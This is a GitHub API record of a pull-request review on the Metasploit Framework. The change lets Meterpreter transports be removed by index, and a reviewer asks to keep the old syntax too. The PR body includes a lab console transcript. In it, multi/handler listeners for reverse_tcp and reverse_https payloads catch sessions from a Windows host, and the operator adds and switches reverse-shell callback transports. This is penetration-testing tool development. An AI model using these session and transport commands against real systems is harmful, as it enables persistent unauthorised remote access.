{"action":"created","comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/34450794","id":34450794,"diff_hunk":"@@ -637,12 +647,13 @@ def cmd_transport(*args)\n     }\n \n     valid = true\n+    transport_index = 0\n     @@transport_opts.parse(args) do |opt, idx, val|\n       case opt\n       when '-c'\n         opts[:cert] = val\n-      when '-u'","path":"lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb","position":42,"original_position":42,"commit_id":"eaa0d0a44ec8ef357d13faa3e6051759ce0c9906","original_commit_id":"eaa0d0a44ec8ef357d13faa3e6051759ce0c9906","user":{"login":"OJ","id":28896,"avatar_url":"https://avatars.githubusercontent.com/u/28896?v=3","gravatar_id":"","url":"https://api.github.com/users/OJ","html_url":"https://github.com/OJ","followers_url":"https://api.github.com/users/OJ/followers","following_url":"https://api.github.com/users/OJ/following{/other_user}","gists_url":"https://api.github.com/users/OJ/gists{/gist_id}","starred_url":"https://api.github.com/users/OJ/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/OJ/subscriptions","organizations_url":"https://api.github.com/users/OJ/orgs","repos_url":"https://api.github.com/users/OJ/repos","events_url":"https://api.github.com/users/OJ/events{/privacy}","received_events_url":"https://api.github.com/users/OJ/received_events","type":"User","site_admin":false},"body":"So this means we can't remove transports the old way? I'd prefer to keep both. If I've added a transport, it's handy to be able to remove it using the same syntax.\r\n\r\nI think supporting both shouldn't be an issue. What do you think?","created_at":"2015-07-13T10:37:36Z","updated_at":"2015-07-13T10:37:36Z","html_url":"https://github.com/rapid7/metasploit-framework/pull/5705#discussion_r34450794","pull_request_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5705","_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/34450794"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/5705#discussion_r34450794"},"pull_request":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5705"}}},"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5705","id":39766404,"html_url":"https://github.com/rapid7/metasploit-framework/pull/5705","diff_url":"https://github.com/rapid7/metasploit-framework/pull/5705.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/5705.patch","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5705","number":5705,"state":"open","locked":false,"title":"Specify transport by index","user":{"login":"rwhitcroft","id":9545632,"avatar_url":"https://avatars.githubusercontent.com/u/9545632?v=3","gravatar_id":"","url":"https://api.github.com/users/rwhitcroft","html_url":"https://github.com/rwhitcroft","followers_url":"https://api.github.com/users/rwhitcroft/followers","following_url":"https://api.github.com/users/rwhitcroft/following{/other_user}","gists_url":"https://api.github.com/users/rwhitcroft/gists{/gist_id}","starred_url":"https://api.github.com/users/rwhitcroft/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rwhitcroft/subscriptions","organizations_url":"https://api.github.com/users/rwhitcroft/orgs","repos_url":"https://api.github.com/users/rwhitcroft/repos","events_url":"https://api.github.com/users/rwhitcroft/events{/privacy}","received_events_url":"https://api.github.com/users/rwhitcroft/received_events","type":"User","site_admin":false},"body":"Adds the ability to specify transport by its index (like `sessions -i X`) instead of by ip/port/proto. Currently only useful for removing transports but may be handy for future transport stuff. Everything is tracked in framework so no changes should be needed to the various meterpreters.\r\n\r\ncc @bcook-r7 @OJ \r\n\r\n```\r\nmsf exploit(handler) > jobs -v\r\n\r\nJobs\r\n====\r\n\r\n  Id  Name                    Payload                              LPORT  URIPATH  Start Time\r\n  --  ----                    -------                              -----  -------  ----------\r\n  0   Exploit: multi/handler  windows/x64/meterpreter/reverse_tcp  443             2015-07-12 14:28:38 -0400\r\n  1   Exploit: multi/handler  windows/meterpreter/reverse_tcp      5555            2015-07-12 14:28:38 -0400\r\n  2   Exploit: multi/handler  windows/meterpreter/reverse_https    6666            2015-07-12 14:28:38 -0400\r\n\r\nmsf exploit(handler) >\r\n[*] Sending stage (1105970 bytes) to 192.168.100.8\r\n[*] Meterpreter session 1 opened (192.168.100.234:443 -> 192.168.100.8:56216) at 2015-07-12 14:28:49 -0400\r\n\r\nmsf exploit(handler) > sessions -i 1\r\n[*] Starting interaction with 1...\r\n\r\nmeterpreter > transport add -t reverse_tcp -l 192.168.100.234 -p 5555\r\n[*] Adding new transport ...\r\n[+] Successfully added reverse_tcp transport.\r\nmeterpreter > transport add -t reverse_https -l 192.168.100.234 -p 6666\r\n[*] Adding new transport ...\r\n[+] Successfully added reverse_https transport.\r\ntmeterpreter > transport list\r\nSession Expiry  : @ 2015-07-19 14:28:48\r\n\r\n    ID  Curr  URL                                                                                          Comms T/O  Retry Total  Retry Wait\r\n    --  ----  ---                                                                                          ---------  -----------  ----------\r\n    1         https://192.168.100.234:6666/PqMnud6ruvU2oDeiYwKHfguDKICVGEOu-MbQZWXVCd0MGnohWEBbK_L18tQ84/  300        3600         10\r\n    2   *     tcp://192.168.100.234:443                                                                    300        3600         10\r\n    3         tcp://192.168.100.234:5555                                                                   300        3600         10\r\n\r\nmeterpreter > transport next\r\n[*] Changing to next transport ...\r\n\r\n[*] Sending stage (885806 bytes) to 192.168.100.8\r\n[+] Successfully changed to the next transport, killing current session.\r\n\r\n[*] 172.16.0.138 - Meterpreter session 1 closed.  Reason: User exit\r\n[*] Meterpreter session 2 opened (192.168.100.234:5555 -> 192.168.100.8:56217) at 2015-07-12 14:29:43 -0400\r\n\r\nmsf exploit(handler) > sessions -i 2\r\n[*] Starting interaction with 2...\r\n\r\nmeterpreter > transport list\r\nSession Expiry  : @ 2015-07-19 14:28:47\r\n\r\n    ID  Curr  URL                                                                                          Comms T/O  Retry Total  Retry Wait\r\n    --  ----  ---                                                                                          ---------  -----------  ----------\r\n    1         https://192.168.100.234:6666/PqMnud6ruvU2oDeiYwKHfguDKICVGEOu-MbQZWXVCd0MGnohWEBbK_L18tQ84/  300        3600         10\r\n    2         tcp://192.168.100.234:443                                                                    300        3600         10\r\n    3   *     tcp://192.168.100.234:5555                                                                   300        3600         10\r\n\r\nmeterpreter > transport remove -i 2\r\n[*] Removing transport ...\r\n[+] Successfully removed reverse_tcp transport.\r\nmeterpreter > transport list\r\nSession Expiry  : @ 2015-07-19 14:28:47\r\n\r\n    ID  Curr  URL                                                                                          Comms T/O  Retry Total  Retry Wait\r\n    --  ----  ---                                                                                          ---------  -----------  ----------\r\n    1         https://192.168.100.234:6666/PqMnud6ruvU2oDeiYwKHfguDKICVGEOu-MbQZWXVCd0MGnohWEBbK_L18tQ84/  300        3600         10\r\n    2   *     tcp://192.168.100.234:5555                                                                   300        3600         10\r\n\r\nmeterpreter > transport next\r\n[*] Changing to next transport ...\r\n[+] Successfully changed to the next transport, killing current session.\r\n\r\n[*] 172.16.0.138 - Meterpreter session 2 closed.  Reason: User exit\r\n\r\n[*] 192.168.100.8:56218 (UUID: 3ea327b9deabbaf5/x86_64=2/windows=1/2015-07-12T18:28:46Z) Attaching orphaned/stageless session ...\r\n[*] Meterpreter session 3 opened (192.168.100.234:6666 -> 192.168.100.8:56218) at 2015-07-12 14:30:55 -0400\r\n\r\nmsf exploit(handler) > sessions -i 3\r\n[*] Starting interaction with 3...\r\n\r\nmeterpreter > transport remove -i 2\r\n[*] Removing transport ...\r\n[+] Successfully removed reverse_tcp transport.\r\nmeterpreter > transport list\r\nSession Expiry  : @ 2015-07-19 14:28:47\r\n\r\n    ID  Curr  URL                                                                                          Comms T/O  Retry Total  Retry Wait\r\n    --  ----  ---                                                                                          ---------  -----------  ----------\r\n    1   *     https://192.168.100.234:6666/PqMnud6ruvU2oDeiYwKHfguDKICVGEOu-MbQZWXVCd0MGnohWEBbK_L18tQ84/  300        3600         10\r\n\r\nmeterpreter >\r\n```","created_at":"2015-07-12T18:40:34Z","updated_at":"2015-07-13T10:37:36Z","closed_at":null,"merged_at":null,"merge_commit_sha":"29bf78d1cb27e6374d8c1a9e41fd6a1890556cd2","assignee":null,"milestone":null,"commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5705/commits","review_comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5705/comments","review_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5705/comments","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/eaa0d0a44ec8ef357d13faa3e6051759ce0c9906","head":{"label":"rwhitcroft:specify_transport_by_index","ref":"specify_transport_by_index","sha":"eaa0d0a44ec8ef357d13faa3e6051759ce0c9906","user":{"login":"rwhitcroft","id":9545632,"avatar_url":"https://avatars.githubusercontent.com/u/9545632?v=3","gravatar_id":"","url":"https://api.github.com/users/rwhitcroft","html_url":"https://github.com/rwhitcroft","followers_url":"https://api.github.com/users/rwhitcroft/followers","following_url":"https://api.github.com/users/rwhitcroft/following{/other_user}","gists_url":"https://api.github.com/users/rwhitcroft/gists{/gist_id}","starred_url":"https://api.github.com/users/rwhitcroft/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rwhitcroft/subscriptions","organizations_url":"https://api.github.com/users/rwhitcroft/orgs","repos_url":"https://api.github.com/users/rwhitcroft/repos","events_url":"https://api.github.com/users/rwhitcroft/events{/privacy}","received_events_url":"https://api.github.com/users/rwhitcroft/received_events","type":"User","site_admin":false},"repo":{"id":36733963,"name":"metasploit-framework","full_name":"rwhitcroft/metasploit-framework","owner":{"login":"rwhitcroft","id":9545632,"avatar_url":"https://avatars.githubusercontent.com/u/9545632?v=3","gravatar_id":"","url":"https://api.github.com/users/rwhitcroft","html_url":"https://github.com/rwhitcroft","followers_url":"https://api.github.com/users/rwhitcroft/followers","following_url":"https://api.github.com/users/rwhitcroft/following{/other_user}","gists_url":"https://api.github.com/users/rwhitcroft/gists{/gist_id}","starred_url":"https://api.github.com/users/rwhitcroft/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rwhitcroft/subscriptions","organizations_url":"https://api.github.com/users/rwhitcroft/orgs","repos_url":"https://api.github.com/users/rwhitcroft/repos","events_url":"https://api.github.com/users/rwhitcroft/events{/privacy}","received_events_url":"https://api.github.com/users/rwhitcroft/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/rwhitcroft/metasploit-framework","description":"Metasploit Framework","fork":true,"url":"https://api.github.com/repos/rwhitcroft/metasploit-framework","forks_url":"https://api.github.com/repos/rwhitcroft/metasploit-framework/forks","keys_url":"https://api.github.com/repos/rwhitcroft/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rwhitcroft/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rwhitcroft/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/rwhitcroft/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/rwhitcroft/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/rwhitcroft/metasploit-framework/events","assignees_url":"https://api.github.com/repos/rwhitcroft/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/rwhitcroft/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/rwhitcroft/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/rwhitcroft/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rwhitcroft/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rwhitcroft/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/rwhitcroft/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rwhitcroft/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/rwhitcroft/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/rwhitcroft/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/rwhitcroft/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/rwhitcroft/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/rwhitcroft/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/rwhitcroft/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/rwhitcroft/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/rwhitcroft/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/rwhitcroft/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/rwhitcroft/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/rwhitcroft/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rwhitcroft/metasploit-framework/merges","archive_url":"https://api.github.com/repos/rwhitcroft/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rwhitcroft/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/rwhitcroft/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/rwhitcroft/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/rwhitcroft/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/rwhitcroft/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rwhitcroft/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/rwhitcroft/metasploit-framework/releases{/id}","created_at":"2015-06-02T13:11:24Z","updated_at":"2015-06-02T13:11:45Z","pushed_at":"2015-07-12T02:50:38Z","git_url":"git://github.com/rwhitcroft/metasploit-framework.git","ssh_url":"git@github.com:rwhitcroft/metasploit-framework.git","clone_url":"https://github.com/rwhitcroft/metasploit-framework.git","svn_url":"https://github.com/rwhitcroft/metasploit-framework","homepage":"http://www.metasploit.com/","size":281729,"stargazers_count":0,"watchers_count":0,"language":"Ruby","has_issues":false,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":0,"mirror_url":null,"open_issues_count":0,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"rapid7:master","ref":"master","sha":"8bb7496f3004a64cd1198faa53539805ea935617","user":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"repo":{"id":2293158,"name":"metasploit-framework","full_name":"rapid7/metasploit-framework","owner":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/rapid7/metasploit-framework","description":"Metasploit Framework","fork":false,"url":"https://api.github.com/repos/rapid7/metasploit-framework","forks_url":"https://api.github.com/repos/rapid7/metasploit-framework/forks","keys_url":"https://api.github.com/repos/rapid7/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rapid7/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rapid7/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/rapid7/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/events","assignees_url":"https://api.github.com/repos/rapid7/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/rapid7/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/rapid7/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/rapid7/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/rapid7/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/rapid7/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/rapid7/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rapid7/metasploit-framework/merges","archive_url":"https://api.github.com/repos/rapid7/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rapid7/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/rapid7/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/rapid7/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/rapid7/metasploit-framework/releases{/id}","created_at":"2011-08-30T06:13:20Z","updated_at":"2015-07-13T06:07:59Z","pushed_at":"2015-07-13T05:36:40Z","git_url":"git://github.com/rapid7/metasploit-framework.git","ssh_url":"git@github.com:rapid7/metasploit-framework.git","clone_url":"https://github.com/rapid7/metasploit-framework.git","svn_url":"https://github.com/rapid7/metasploit-framework","homepage":"http://www.metasploit.com/","size":1077335,"stargazers_count":4075,"watchers_count":4075,"language":"Ruby","has_issues":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":3226,"mirror_url":null,"open_issues_count":221,"forks":3226,"open_issues":221,"watchers":4075,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5705"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/5705"},"issue":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5705"},"comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5705/comments"},"review_comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5705/comments"},"review_comment":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5705/commits"},"statuses":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/eaa0d0a44ec8ef357d13faa3e6051759ce0c9906"}}}}